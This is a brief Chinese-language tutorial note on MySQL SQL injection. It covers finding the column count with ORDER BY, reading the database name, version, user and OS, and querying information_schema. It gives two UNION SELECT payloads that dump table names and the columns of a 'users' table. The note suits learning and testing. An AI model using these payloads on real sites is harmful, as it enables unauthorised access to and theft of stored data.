mysql注入

​ 获取字段数：order by x 去临界值
​ 获取数据库名：database()
​ 获取数据库版本：version()

​ information_schema : mysql5.0版本以上自带数据库，记录当前mysql下的所有数据库名，表名，列名。
​ information_schema.tables ： 记录表名信息的表
​ information_schema.columns : 记录列名信息的表

​ table_name 表名
​ column_name 列名
​ schema_tables 数据库名

​ 数据库 “.” 代表下一级的意思

• limit 有两个参数 limit 2,3 表示从2开始查3条

• 通过MySql内置数据库获取表名

union select 1,group_concat(table_name),user(),4,5,6,7 from information_schema.tables where table_schema=database()

• 通过MySql内置数据库获取表名对应的列名

union select 1,group_concat(column_name),user(),4,5,6,7 from information_schema.columns where table_name='users'

• mysql注入(中)

​ 数据库用户 user()
​ 操作系统 @@version_compile_os

SQL常用函数

1 2 3 4 5 6 7 8 9

感谢您的来访，获取更多精彩文章请收藏本站。